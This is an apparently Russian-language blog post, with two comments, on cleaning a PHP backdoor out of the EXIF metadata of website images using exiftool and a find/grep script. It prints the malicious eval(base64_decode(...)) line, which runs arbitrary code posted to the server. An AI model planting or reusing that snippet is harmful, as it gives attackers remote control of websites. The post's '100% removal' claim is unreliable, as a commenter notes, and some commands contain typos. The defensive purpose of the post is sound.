Лечение вируса в картинках на основе регулярных выражений bash

Вирусы в PNG как удалять?

Данная статья написана с двумя целями:

  • Показать, как трудно бывает найти и придумать способ лечения вируса. А порой, даже удаление последствий вируса занимает несколько часов, уже зная где и что он поразил. Часто клиенты думают, что все это делается нажатием двух кнопок.
  • Тем, кто встретился с подобной угрозой, предлагаю данный пример решения.

Во время поиска и удаления вредоносного кода столкнулись с вирусами в картинках, вирусы всего находят оригинальные места и способы своего хранения и проникновения. Однако нам предстоит тщательным образом удалить все остатки вредоносного кода и нам понадобится почистить и сами картинки. Начинаем разбирать проблему.

Открываем бинарный код картинки и видим.

Лечение вируса в картинках

А вот как картинка выглядит в живую.

Лечение вируса в картинках

Как мы видим картинка вполне читаема, но содержит вредоносный код.

eval (base64_decode ('aWYgKGlzc2V0KCRfUE9TVFsienoxI10pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6eJEiXSkpO30='));

Поскольку картинки повреждены практически все, удалять тело нам придется на основе регулярных выражений. При детальном осмотре, файлов jpg png gif были найдены модификации вирусов. Если проще говорить — не все они были одинаковые, а порой специально тело вируса видоизменяется каждый раз при записи в новую картинку.

Изменяя начало конец, а так же название переменных в своем теле. Что затрудняет его удаление.

Первое что пришло на ум, перекомпилировать все картинки с консоли однако тесты показали, что картинка мало того что не удаляет вредоносный код, так и даже при редактировании через графический редактор phptoshop и сохранение поверх другой картинки так же наследует вирусный код. Следовательно, пришлось рыться и искать место где так легко сохраняется вирус, даже при изменение размера картинки.

После поисков это место было найдено. EXIF

Если вам это ничего не говорит, вирусу на это все равно. В двух словах это сопутствующая информация о фото. Где, на что она была сделана, условия съемки и так далее.

С этого момента картина прояснилась. Стало понятно, что никакая модификация самой картинки не удалит код. Нужно модифицировать сам EXIF.

Смотрим, что же там написано и сравним с первой же фото сделанной на фотоаппарат.

Лечение вируса в картинках

А теперь наш файл.

Лечение вируса в картинках

Отлично, мы нашли код вируса от начала до конца, теперь даже видоизменяющийся вирус мы сможем удалить, не повреждая сам файл. Остается придумать как. Далее, сразу предупрежу, мы не используем обычные хостинги, а используем исключительно арендуемое оборудование в германских дата центрах, и доступ до серверов у нас полный ROOT SSH. Если же вы используете обычный хостинг вам работа усложнится.

Для качественного удаления нам понадобится утилита редактирующая EXIF. Нам вполне подойдет exiftools.

sudo apt-get install libimage-exiftool-perl

Теперь нам нужно изучить exiftool. После поисков нужного нам атрибута мы остановились на '-all= '

Прогоняем картинку

exiftool -h brovi.jpg 

Удаляем

exiftools –all= brovi.jgp 

Получаем на выходе

Лечение вируса в картинках

Создаем регулярное выражение на основе выше найденного.

find . -name '*.jpg' -exec exiftool -h {} \; | grep -o base64

Тем самым, видим есть ли вирус в файле.

Далее не буду приводить множество модификаций регулярного выражения, опишу всего лишь проблемы при его создание.

  • Exiftools не возвращает путь до файлов которые он отредактировал.
  • Cat + grep не желают открывать бинарники
  • Exiftools создает копию файла при его редактирование.
  • Требуется исключить все файлы в exif которых нет вируса и не трогать их.
  • И т. д.

В общем, вот сам скрипт, который учитывает уже все подводные камни, однако скорость его работы оставляет желать лучшего, даже при таких конфигурациях он будет 300 сайтов прогонять не один десяток часов. Однако гарантирует 100% удаление всех вирусов с корректной работой самой картинки. И в этот расчет не берется удаление оставшегося кода вируса вне картинок.

find . -type f \( -name '*\.jpg' -or -name '*\.png' -or -name '*\.jpeg' -or -name '*\.gif' -or -name '*\.JPG' -or -name '*\.PNG' -or -name '*\.JPEG' -or -name '*\.GIF' \) -exec grep -rl base64 {} \; -exec exiftool -all= {} \; -exec rm '{}_original' \;

Можно сократить команду до более понятной.

 find . -type f -regex ".*\.\(jpg\|jpeg\|gif\|png\|JPG\|JPEG\|GIF\|PNG\)"  -exec grep -rl base64 {} \; -exec exiftool -all= {} \; -exec rm '{}_original' \;

Естественно, предварительно

sudo apt-get install libimage-exiftool-perl
актуально для Debian ветки.

find. — ищет все рекурсивно от текущего каталога

-type f только файлы

-name имена

-regex регулярные выражения вместо -name

-or смотреть так же

-exec запускает команду

{} — все что передала предыдущая команда при переборе

exiftools -all= (в конце обязательно пробел) — стирает данные exif

rm — удаляет файл оставляемый exiftool после изменений.

Также, при лечение, стоит учитывать, что удалить требуется сам вирус, его последствия, шелл скрипит вируса, притом все их копии. Вирусы по одному не ходят, так что продолжаем искать еще вирусы, до полной уверенности в их отсутствии.

Подробней о самом вирусе можно найти в интернете. Я же показываю как удалить его с картинок.

Комментарии (2)

  1. Олег 15.04.2016 Ответить
    А если айболит ругается на картинки, но EXIF чистый. как тогда поступать?
  2. Flynnlives 21.06.2016 Ответить
    Олег, вскрыть картинку блокнотом, проанализировать на наличие вредоносного кода.

    Приведённое в статье решение не является 100% гарантией отсутствия постороннего скрипта в файле, имеющего расширение изображения - это была подсказка, дальше сами.

Оставить комментарий